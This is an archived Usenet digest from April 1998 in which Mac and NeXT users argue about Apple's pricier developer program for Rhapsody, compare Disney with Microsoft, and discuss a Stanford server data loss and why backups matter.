>> > WTF is up with the apple developer program? I see a big announcement, and
>> > all it is is:
>> > 1st level: online stuff, just as it is now, ie NO CHANGE
>> > 2nd level: instead of costing $250 a year its now $500 a year??!?!??
>> Agreed. I might have considered getting Rhapsody under the previous
>> program. I might be able to scrounge up $250. $500 is out of my price
>> range.
>
>I'm not about to stand up and say these changes are a great idea on
>Apple's part, but you do realize, you can buy *just* the tech mailing
>(including develop) for $199 ?
It does not, though, include the seeding support. Further, they
decided to change the hardware policy in mid year, and require
any and all purchases to be made in the next two weeks, even
if you just renewed.
While it is clearly legal according to the agreement, it seems
like they should send out a "would you like to bow out"
letter to those for whom the hardware purchase agreement
was an important part of the cost justification.
But then, Apple is not really good at the cost justification
game anyway. Consider what a lousy job they did selling
corporate America on lower support costs.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 20:17:54 GMT
Organization: I don't think so
Message-ID: <slrn6isvlb.1kg.jason@jhste1.dyn.ml.org>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <1d78ren.1dbj70n1j99pebN@hobbit1.injep.fr> <6glqd2$7j4$4@anvil.BLaCKSMITH.com>
Charles Swiger wrote:
>If a one-time $250 cost change makes a difference to your company as to which
>technologies to pursue, you were obviously considering a marginal
>opportunity.
Not very entrepreneurial thinking, Chuck. Not all "software companies"
are well-financed (take, for example, the bright teenager with a good
idea and an old Performa who produces some quality shareware). You seem
to be supporting a policy that will shrink the number of developers (to
the benefit of the established companies, of course).
Free software is the glue that holds a platform together. Consider the
following Mac programs and the impact they had in their time:
FreePPP/MacPPP
Anarchie/Fetch
Mosaic
JPEGView
Sparkle
NCSA Telnet
TexEdit/BBEdit Lite
Newswatcher and derivatives
Disinfectant
UUundo/Stuffit Expander/Binhex/Macbinary
These titles provided basic functionality that the OS lacked for years.
Now, I'd be willing to wager that many of these titles were started for
the same reason that most GPL'd software is started - someone had a need
that the OS/commercial offerings didn't really satisfy. If Apple restricts
the number of potential developers for Rhapsody, it is less likely that
stuff like this (no, not the same programs or clones, but programs to
handle the needs of the future) will be developed. This doesn't bode
well for the desirability of the platform to end users.
On a slight different note, contrast Linux, which ships with free dev
tools. I run Linux/PowerPC, which has a tiny userbase, but I have access
to virtually all free UNIX software, due to the fact that I have gcc
(and egcs) and all the necessary libraries (well, no Motif, but Lesstif
works pretty well). I'd think that the Linux on PowerPC user experience
is much better than the Rhapsody-without-dev-tools user experience will
be precisely for this reason.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: ylaporte@acm.org (Yan Laporte)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 12:48:37 GMT
Organization: Université de Moncton
Message-ID: <ylaporte-0904980952150001@139.103.176.79>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net>
> > For a student working at home, CDs are far better with his <1 to 5
> > kb/sec IP connection to US (at ~ $1/hour com cost + fixed provider
> > cost).
>
> That is probably true. But wouldn't most students have access to their
> college's facilities where they can download what they need by T1 and put
> it onto a zip drive or burn a CD to take home?
>
Yep! that's what we do here... Or it is even better when you live on the
campus (like me) and you get your 10-BaseT ethernet connection to the LAN
and the Internet. At the very least you can find a firend who is in my
position and get everything on a hard drive...
EnCoder
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 8 Apr 1998 20:31:20 GMT
Organization: Digital Fix Development
Message-ID: <6ggmqo$jlv$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <j-jahnke-0704981616320001@192.168.1.3> <support-0704982011260001@207-172-164-184.s57.as4.loc.erols.com> <6ggahf$rts$3@news01.deltanet.com>
In-Reply-To: <6ggahf$rts$3@news01.deltanet.com>
On 04/08/98, Scott Ellsworth wrote:
>I like the idea. Who do we complain to, and how? Ric Ford said on
>Macintouch that the feedback was uniformly negative.
And you're surprised by this? Look at MacNN, there is both
positive and negative feedback there.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 12:49:33 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-1004981249330001@sea-ts1-p29.wolfenet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net> <6gitpj$csn$1@interport.net> <joe.ragosta-0904980134360001@wil68.dol.net> <Er6tuI.Mu8@AWT.NL> <joe.ragosta-1004980621290001@elk81.dol.net>
In article <joe.ragosta-1004980621290001@elk81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
: In article <Er6tuI.Mu8@AWT.NL>, G.C.Th.Wierda@AWT.nl (Gerben Wierda) wrote:
:
: >
: > SDK's and Mac API development don't interest me. I want to know what will
: > happen to the cost of developing for Rhapsody.
: >
:
: How about zero dollars? Download MkLinux and GNUStep.
Or for $150, you can buy Tenon's CodeBuilder. Still less than the $500
seeding cost.
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Beware New Macs?
Date: 9 Apr 1998 05:23:58 GMT
Organization: @Home Network
Message-ID: <6ghm1e$e17$1@ha2.rdc1.sdca.home.com>
References: <ashley.892004435@marsh> <6gf1ap$37v$1@ha2.rdc1.sdca.home.com>
<ashley.892092609@marsh>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ashley@cs.curtin.edu.au
In <ashley.892092609@marsh> Ashley Aitken wrote:
> rriley@yahoo.com (Rex Riley) writes:
> >If Apple is seeding a Class of hardware into it's development community,
> >they do so "to their own detriment". Why would they "dump" a superceded
> >architecture onto a "core" asset, Developers? Apple is shamelessly
> >greasing the wheels of commerce, here! You might be reading too much
into
> >it...
>
> I hope I am. It just seems that "forcing" newer developers to play their
> hardware hand before April 24th when big things are going to be happening
> in May seems a bit detrimental to developer relationships.
>
>
Me too. Getting all worked-up and "charging" the atmosphere with
expectations, innuendo and dis-information is premature. Right now, the
facts are, you have an opportunity to acquire hardware on the cheap. Take
it or leave it.
Apple has shared their development efforts with the developer community,
built-in features requested by you and are now "delivering" on their
promises. It's time to stand-up, get off your fence and get on board
before this Rhapsody train leaves for WWDC.
Apple is trying to make your decision "easier" with "incentives". They
might be identifying the "StandUp" developers. This is the SJ
roller-coaster, now at Apple (was at NeXT).
Q#1: "What are you going to do with your Life for the next 5 years"?
Sign-up with the Microsoft Windows Alliance and await Win98, Win99, Win00,
Win01, Win02? If that program is more predictable, deliberate and
comfortable, Do-IT! OR Join Apple's Developer Program and Rhapsody, MacOS,
QT, WebDVD or whatever they call it and the whole NC suites. This roadmap
is unpredictable, dynamic and exciting.
You need to get your commitment behind you "before" WWDC. Once you
understand why you are an Apple Developer and not a Windows Developer or
Java or etc.... you become more valuable to yourself and Apple. Going to
WWDC without a decision is going to "overload" and "confuse" Wannabe
Developers.
WWDC is going to unload a TON of information, NEW programs and BIG
opportunities. If you haven't gotten past the "value" judgement of whether
Rhapsody rules, you aren't going to be able to "Get with the Program" at
the show either. You won't recognize an opportunity at WWDC if it walked
up and shook your hand on the floor.
Your right. Big things are going to be happening at WWDC in May. You'll
be surprised that those "Big things" are really personal ± for developer's,
you! The "Death Watch" on Apple is over. Apple as "Entertainment" is
over. The whole WWDC event is for Developers.
You and others need to decide if you are one...
-r
Rex Riley
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Thu, 9 Apr 1998 00:36:43 -0500
Organization: KAOS
Message-ID: <19980409003643211207@sdn-ts-003txhousp08.dialsprint.net>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <rmcassid-3103980921490001@dante.eng.uci.edu> <19980331164046824062@sdn-ts-012txhousp03.dialsprint.net> <rmcassid-3103981617150001@dante.eng.uci.edu> <199804010054202605346@sdn-ts-004txhousp02.dialsprint.net> <rmcassid-0104981103050001@dante.eng.uci.edu> <199804020034221564225@sdn-ts-002txhousp07.dialsprint.net> <rmcassid-0204981111290001@dante.eng.uci.edu>
Sorry this took so long to respond to. I thought about just truncating
the discussion to the essential paragraph about the meaning of the word
"Microsoft," but as I'd already formed comments to the rest, I figured
I'd go ahead and post the unabridged edition. I confess I do worry,
however, when MacSOUP's proportional scrollbar starts to get real small!
Bob Cassidy wrote:
> Disney may not make their dollars in the theaters anymore, but a quick
> move to video followed up by the Disney channel and then to ABC probably
> gets a nice return at each level, bringing in a different audience each
> time. In effect, they don't need a strong ticket-office sale to make
> money, though I'm sure they don't mind it one bit.
Although it's true that the initial film doesn't have to be profitable
in its theatrical run to make money for a studio, box office success,
whether for a Disney film or any other film, is very much the
cornerstone upon which all later profits depend. Weak box office leads
to weak (or nonexistent) profits.
> Remember that the voice actors for Toy Story must have contributed a lot
> to the cost as they do for Disney films.
I don't think this is true (hence the Picasso incident). Voice talent
is not a big budget drain, even top drawer voice talent. The
astronomical salaries stars command are based on their ability to "open"
a film, not much of a consideration with animated fare.
> I wrote:
>
> >I use "Microsoftian" to mean shrewdly coercive but not simply dominant.
> >Is Intuit coercive? (I hadn't heard.)
>
> I don't think so. I'd put them as simply dominant. That's how I define
> 'Microsoftian' when referring to it's *position*. I don't really care
> about it's practices here as I don't think they are relevant.
I was beginning to surmise as much. When you said "Disney is
Microsoft," well, to me, "Microsoft" means more than a dominant company
in its industry. It includes connotations of questionable business
practices, mediocre products (especially flagship products) with respect
to the competition, and potential to use its position to eliminate said
competition as well as control significant portions of its industry and,
ultimately, critical tools in our lives. I don't think Disney has or
deserves such connotations. That has been the essence of my argument in
this thread.
> >If you were to watch all the animated films released in the last ten
> >years and rank them according to which ones sustained your interest the
> >best, I believe most adults would pick the Disney films.
>
> That's still really subjective.
Try browsing through some movie guides at the bookstore and see which
animated films tend to get the highest ratings. BEAUTY AND THE BEAST's
Oscar nomination for Best Picture is a somewhat objective indicator,
isn't it? As is, I think, the unexpectedly large box office return for
THE LITTLE MERMAID in 1989 (which took *everyone* by surprise). As is
THE LION KING's status as one of the five (now probably six or seven)
highest-grossing films of all time. I'm not arguing that popularity
always equals high quality, of course, but the kind of success these
films have had is not indicative of something that's largely driven by
hype. Even though I don't agree, I have to admit that a lot of people
think TITANIC is very, very good.
> >Are these videos titles you've never heard of, or ones that you've heard
> >are good or "classic"? If you're just buying any video with the Disney
> >stamp on it, your buying habits at the video store sound a tad unusual.
>
> Pretty much anything with the Disney stamp on it. A few that I have I
> didn't know existed. The habits are pretty common from what I understand.
I guess we move in different circles. Still, I would argue that if you
were right, each Disney title would sell equivalently. Such is not the
case. I believe THE LION KING still holds the record for most videos
sold of *any* movie.
> Disney has a knack for getting the characters just *so*, I'll agree.
Man, it's like pulling teeth. ;-)
> >I don't think Disney feels their marketing machine is invincible; right
> >now their momentum is going the wrong way. I would guess they're a bit
> >nervous about how this summer's animated entry will fare. If it doesn't
> >break $100 million at the box office, watch the stock take a hit.
>
> They're stretched a bit thin right now and are having some problems what
> with Disneylands expansion being so problematic and their cruise line
> going nowhere fast without a ship.
Although all of this might also depress the stock price, it has nothing
to do with the animation division's downward box office trend.
> So MS has no quality products? And Disney has no poor quality products.
> Please. I'll give Disney the advantage on quality %, though.
I'm not comparing the totality of Microsoft's product line to that of
Disney but rather the flagship products of both. (No sense comparing
NEWSIES to BOB.) Disney's flagship product -- the engine of the empire
-- is animated features, and I contend that it consistently makes the
highest-quality animated features in its industry. Microsoft's engine
is operating systems, and I contend that Microsoft does not make the
highest-quality operating systems in its industry.
> Disney reigns supreme because they have *so* many outlets to leverage for
> revenue.
I don't think they have so many more than anyone else. OK, Disney can
sell their stuff in Disney Stores and get a little extra profit, but all
studios can and do license merchandise to be sold at Wal-Mart, Sears,
Toys R Us and the like as well as share promotion costs with fast-food
chains. Any successful film can be sold to the highest bidder at cable
or a network for more profit. And all end up on video.
> Even if the film costs as much to make as to gross in the box office, they
> can still make a hit out of it. Disney can increase costs (not decrease
> ticket sales) and discourage competition that'll also feel pressured to
> increase costs.
Yes, they *can,* but they won't -- not to purposely eliminate
competition, anyway; it's not good business sense. Besides, Disney is
known as the cheapest studio in town.
> Titanic has raised the bar on what a studio will feel compelled to spend
> on the next blockbuster. It's a shame really. The studios are going to
> have a hard time of it, I think.
This is true, but Fox and Paramount didn't really *want* to spend all
that money. TITANIC turned out to be a bigger roll of the dice than
either studio had planned on. Luckily (or not), they didn't go down
with the ship.
> Disney is Microsoft becuase they cause the same effect. MS doesn't
> actively compete against other office suites because nobody would dare
> fund the creation of one. MS isn't actually doing anything, yet the market
> still reacts as though they are. *That* is the real problem with
> monopolies - that they work even when they aren't actively trying to
> maintain a monopoly. Disney isn't a monopoly, but I think they have that
> effect in a small submarket of movie-making that Pixar happens to be in.
Except, as I noted previously, other studios *do* try to compete with
Disney. Pixar isn't really a full-fledged studio, either, as they must
rely on someone else for distribution (as do all independent production
companies).
> >Yes, but other studios *are* making animated features aimed directly at
> >Disney's market!
>
> And how successful have they been?
Despite Fox's disappointment with ANASTASIA, it was at least a moderate
success. No doubt they learned some things from the process that they
will improve next time out.
> How long will they continue to do it?
Hard to say. This could be a watershed year for animation what with two
high profile non-Disney releases on the horizon. BUT I saw a preview of
the Warner Brothers offering, QUEST FOR CAMELOT, which was rather
cheesy-looking. And the DreamWorks offering, which will likely be
head-to-head with A BUG'S LIFE, is a biography of Moses! Maybe THE
PRINCE OF EGYPT will be wondrous and awe-inspiring (I have a lot of
faith in Jeffrey Katzenberg), but most industry watchers agree its
subject matter is a big gamble. And of course, the bugs are so darn
cute.
> Will they suddenly success or with Disney have to drop the ball first? I
> think it'll take a screw-up by Disney for it to happen.
Assuming I read you right ;-), all this activity includes the Disney
entry, MULAN, which as I said before may continue Disney's slide at the
box office. This could help or hurt the others. Maybe with a surfeit
of videos in homes, the recent heyday of animated features is over.
> Well, I guess what I mean is that Disney didn't have to actively respond
> to Anastasia. Instead they dusted off a good old film and plunked it up
> against Anastasia. They didn't have to spend the millions to compete, they
> just had to ramp up marketing. And Disney can do this until the cows come
> home.
I see your point, but I don't think most of Disney's library has the
same potential for damage that it once did because of video and cable
(and, for the older films, changing tastes). As I mentioned before, THE
LITTLE MERMAID hadn't been available for a long time and was in demand.
In retrospect it had the aura of an overlooked gem. *Maybe* BEAUTY AND
THE BEAST, ALADDIN or THE LION KING would make a strong rerelease, but I
have my doubts -- all those video sales hurt in this respect.
> Remember that it doesn't take much to deliver a fatal blow. A film is made
> or killed in it's first weekend.
Not a good film. Not TITANIC, either. ;-) (Yes, TITANIC was #1 at the
box office on opening weekend, but there was no guarantee that it would
remain popular, much less become a phenomenon.) The first weekend
assesses marketing. The second, word of mouth.
> A 10% audience drop (say $2 million) in the first few days can translate
> to $20 million over the release of the film. Total box office receipts
> impact follow-up revenues so that initial $2M slip can be $40 million by
> the time all is said and done. And that $40 is taken off of the profits,
> not the gross, so it could be the difference between a profitable and
> unprofitable release. That's why there is so much attention paid to the
> release date of a film. If Disney put out a Bambi on the same weekend as
> 'A Bugs Life', the impact on Pixar could be substantial.
I don't think it's anything like this scientific, though I will concede
that Disney has some (IMO limited) ability to undercut another studio's
bang/buck ratio on opening weekend by rereleasing an older film. Still,
I'm not convinced that if the other studio's film has the right audience
appeal that Disney's salvo will cause it irreparable harm.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Jeff <me@home.sleeping>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 08 Apr 1998 11:40:09 -0500
Organization: a real BIG one
Message-ID: <352BA869.4901@home.sleeping>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6ge6hh$9mv@netaxs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthew T. Russotto wrote:
-
-In article <01bc445f$744397e0$1bf0bfa8@davidsul>,
-macghod <macghod@concentric.net> wrote:
-}WTF is up with the apple developer program? I see a big announcement,
and
-}all it is is:
-}1st level: online stuff, just as it is now, ie NO CHANGE
-}2nd level: instead of costing $250 a year its now $500 a year??!?!??
-}
-}As far as I can tell it adds nothing and is a 2x increase!! Why to
support
-}development apple :)
-
- Yeah, sucks, doesn't it? All I really want is the CDs, and they keep
- upping the price and adding things I don't need.
-
Hmmm,
sounds familiar,
Maybe we should call it Apple$oft?
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "Well, Mr. Jobs, What'll It Be?"
Date: Thu, 9 Apr 1998 00:36:52 -0500
Organization: KAOS
Message-ID: <19980409003652211738@sdn-ts-003txhousp08.dialsprint.net>
References: <6f6fpe$lk5@shelob.afs.com> <jayfar-2303981832130001@downtown1-8.slip.netaxs.com> <rmcassid-2403981215280001@dante.eng.uci.edu> <199803300039192097841@sdn-ts-003txhousp07.dialsprint.net> <6fol4e$n21$1@nnrp1.dejanews.com> <rmcassid-3003981259440001@dialin9013.slip.uci.edu> <19980331031822711231@sdn-ts-005txhousp14.dialsprint.net> <6g0sjm$nf9$1@hole.sdsu.edu>
tomlinson wrote:
> Somehow, I find the idea of lavishly-animated imitations of old
> Hollywood musicals' [...] being "the best product to market" an
> unaccountably depressing one.
That may be, though what I meant was as compared to other studios'
lavishly-animated imitations of old Hollywood musicals.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 21:33:57 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gm385$el3$1@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
Rex Riley <rr6013@yahoo.com> wrote:
>http://www.mercurynews.com/business/center/stanford09.htm
>
>Stanford.edu is the new PosterChild for Apple today in the wake of a
>disaster which cost Windows users dearly. Mac users and Unix mainframes
>emerged unscathed from a network "upgrade" which went arwy. Lost in the
>maintenance were Phd. dissertations, databases, files and research notes
>covering _years_ of work. Stanford Univ. School of Business, Windows-based
>curriculum, has "tarnished" the institution's reputation and "erased"
>years of academic work. The disaster affects 10 - 15 faculty and doctoral
>candidates directly posing a "serious blemish" for the School of Business.
I guess I'm missing soemthing after having read the article.
Essentially the servers were moved and files were lost, presumably because
of hardware failure. There was no backup of the server files so
anyone using the server lost their files.
The Windows PCs used a network server which lost data. I
didn't see any reference in the article to what software was running on
the servers.
From reading the articles, the Apples didn't suffer data loss not
because there was anything particularly good about Apples or bad about
PCs, but they weren't using the servers the PC users were and it was the
server which failed. It may be a "serious blemish" for the School of
Business, but all they're saying is the Macs did well because they weren't
relying on that particular machine. They could as easily have been
because most major network software provides access to Macs.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 21:30:51 GMT
Organization: Digital Fix Development
Message-ID: <6gm32b$21o$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk> <trumbull-0904981554150001@net44-223.student.yale.edu> <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com> <trumbull-1004981620410001@net44-223.student.yale.edu>
In-Reply-To: <trumbull-1004981620410001@net44-223.student.yale.edu>
On 04/10/98, Ben Trumbull wrote:
>In article <don_arb-1004981207170001@sea-ts1-p29.wolfenet.com>,
>don_arb@wolfenet.com (Don Arbow) wrote:
>
>> Well, if the "hardware discounts were never very impressive", then
why are
>> all these people whining about losing access?
>
>*I* never whined about it. I think a lot of it has to do with the
>WAY in which it was done. Apple made these people FEEL like they
>were getting shafted. You have to admit the way in which it was
>done .. "here, the prices are doubled, and btw, we've cut your
>access to the hardware discounts" lacked any sense of finesse or
>rational sense of handling customers. Even someone from Apple
>admitted the notice was "badly worded".
If Apple had said to every developer
"We're thinking about making these changes.."
The reaction would have been the same.
I'd be very surprised if the ADR folks didn't talk to some
developers before they made the changes. I'd be very surprised if
those customers weren't split, but that a good number of them
understood the rational behind the changes and accepted them.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 05:41:31 GMT
Organization: The Vast Right Wing Conspiracy
Message-ID: <6ghn2b$noq$1@usenet11.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu>
In article <philipm-0804982051170001@pm1-23.eecs.umich.edu>,
Philip Machanick <philipm@NO-SPAMeecs.umich.edu> wrote:
>>Actually, there were rumors that there would be a very low price
>>educational plan. You might want to wait for the educational pricing
>>before worrying too much.
>
>I don't much care about that... the problem is small developers who will
>feel discouraged when trying to find and entry point. If YB is to get a
>good start, it needs some killer Mac-only (or at least YB-only) apps and
>it's hard to see big companies betting on a new API.
It depends on how they sell Rhapsody and the development tools.
If they sell it for $100, IB and ObjC and Java included, I wouldn't
give two hoots about the developer program. I don't plan on buying
any apple hardware and not being able to get the discount wouldn't
kill me if I were; I don't need tech support (or can puzzle most
of it out from the net); and I don't care much about the CD du jour
that clutters up my mailbox.
If I were a corporation, $500 wouldn't kill me. If I'm an after-hours
hacker, all I want is the damn Rhapsody CD.
--
Don McGregor | "Traditionally, conservatism is rightly suspicious of
mcgredo@mbay.net | thinking, because thinking on the whole leads to wrong
| conclusions, unless you think very, very hard and get
| back to the point you started at." --R. Scruton.
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 21:47:52 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gm428$f7b$1@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net>
In article <joe.ragosta-0904981940420001@elk64.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>OR, Universities can stop mandating that people adopt a platform and MIS
>system that makes such wholesale problems possible.
The reality is that if you don't do something to encourage users to
backup their data then most of them won't.
>If the university leaves users alone and they lose data, it's their own
>fault. But when the university mandates that they use certain tools, it's
>the university's fault when the tools cause them to lose data.
There's no question about that, but in this case the problem appears
human mistake ("pilot error") rather than a problem with a particular
platform. Further, a central network provides a lot of useful features
that you simply can't get with peer-to-peer networking of either Windows
or MacOS ... not the least of which is security for things like e-mail and
filesharing.
Once you've got a network it is a *lot* cheaper and easier on
the users to have a centralized backup solution, even if it is only
backing up individual machines over the network.
And while I think individual users should be allowed to use whatever
tools they find useful as much as feasible, when they come to you and tell
you "It's broken," or "I lost my data, please get it back," answering them
with, "Well, that's just your own fault, isn't it?" is not a practical or
user-friendly option. Part of the job of MIS people is anticipating
problems end-users can't or don't understand and fixing them so it doesn't
become a problem.
Unfortunately, there's no really good way to convince users backups
are important until after the first time they've lost critical data.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: ccox@slip.net (Chris Cox)
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: Wed, 08 Apr 1998 23:08:32 -0700
Organization: Slip.Net (http://www.slip.net)
Message-ID: <ccox-0804982308320001@oak-pm1-59-123.dialup.slip.net>
References: <6fbvpe$l63@newsb.netnews.att.com> <6g9m3n$neh@bgtnsc02.worldnet.att.net> <slrn6ihr33.mgm.sal@panix3.panix.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net>
In article <6gh5mo$eku$1@flea.best.net>, dillon@best.net (Matt Dillon) wrote:
> Dynamic ram cores can burst at insane speeds. RamBus, for example,
> simply kept the DRam core and redid the bus interface surrounding it.
> Think about it: One random access (40ns) transfers an entire RAS row
> into an addressable shift register on a standard DRam that is usually
> 256 bits wide. The raw core bandwidth of a single DRam chip is thus
> around 6.4 GBits. If you add up the core bandwidth from the 8 or 16
> chips you find on a SIMM or DIMM, you have several gigabytes/sec of
> potential bandwidth. The DRam core isn't the problem, it's the bus
> interface on the DRam chip that's the problem.
You're completely ignoring latency (as did RAMBus).
Yes, you may be able to stream data that fast -- but most data access
patterns are not that strightforward (and when you throw in muti-threading
and interrupts....).
Chris
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 21:58:09 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gm4lh$f7b$2@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>
In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>,
Rex Riley <rr6013@yahoo.com> wrote:
>In <6gjr16$rfe$1@halcyon.com> Tim Smith wrote:
>> Rex Riley <rr6013@yahoo.com> wrote:
>> >Yeah, sucks doesn't it that if you are a Windows user you have to go
>> >through all that extra backup procedure. For hapless Stanford BSchool
>>
>> It's the exact same procedure you use on a Mac or on Unix.
[...]
>Then why does the article "single-out" that it was Windows-specific. It left
>the impression that maybe a "filesystem" peculiarity of Windows might have
>tricked their back-up software, unbeknownst to them.
Because it was the network the PCs used. Either the Apples didn't
use a network or they used a different server. Presumably the Unix
machines were too busy chattering with each other to recognize the PC's
server. :-)
Nothing in what I read identified the PC-side server. Most likely it
was either NT or Netware, but there are others.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 22:01:34 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6gm4ru$f7b$3@gaia.ns.utk.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu> <joe.ragosta-1004981028520001@wil82.dol.net>
